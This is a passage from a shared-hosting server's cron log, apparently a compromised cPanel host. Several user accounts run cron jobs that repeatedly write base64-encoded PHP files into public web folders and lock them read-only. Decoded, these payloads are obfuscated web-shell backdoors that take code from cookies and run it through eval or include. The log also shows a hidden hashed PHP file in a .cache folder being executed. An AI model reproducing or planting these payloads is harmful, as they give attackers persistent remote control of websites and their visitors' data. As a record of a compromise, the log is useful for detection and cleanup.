CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:07:01 medusa CROND[22051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:07:01 medusa CROND[22052]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:07:01 medusa CROND[22055]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 12:07:01 medusa CROND[22056]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:07:01 medusa CROND[22058]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:07:01 medusa CROND[22061]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:07:01 medusa CROND[22120]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:08:01 medusa CROND[23962]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Jun  7 12:08:01 medusa CROND[23967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:08:01 medusa CROND[23968]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:08:01 medusa CROND[23969]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 12:08:01 medusa CROND[23970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:08:01 medusa CROND[23971]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:08:01 medusa CROND[23972]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:08:01 medusa CROND[23974]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:08:01 medusa CROND[23979]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:08:01 medusa CROND[23982]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:08:01 medusa CROND[23984]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:08:01 medusa CROND[23986]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:08:01 medusa CROND[23988]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:08:01 medusa CROND[23989]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:09:01 medusa CROND[25830]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 12:09:01 medusa CROND[25832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:09:01 medusa CROND[25833]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:09:01 medusa CROND[25834]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:09:01 medusa CROND[25835]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:09:01 medusa CROND[25836]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 12:09:01 medusa CROND[25837]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:09:01 medusa CROND[25846]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
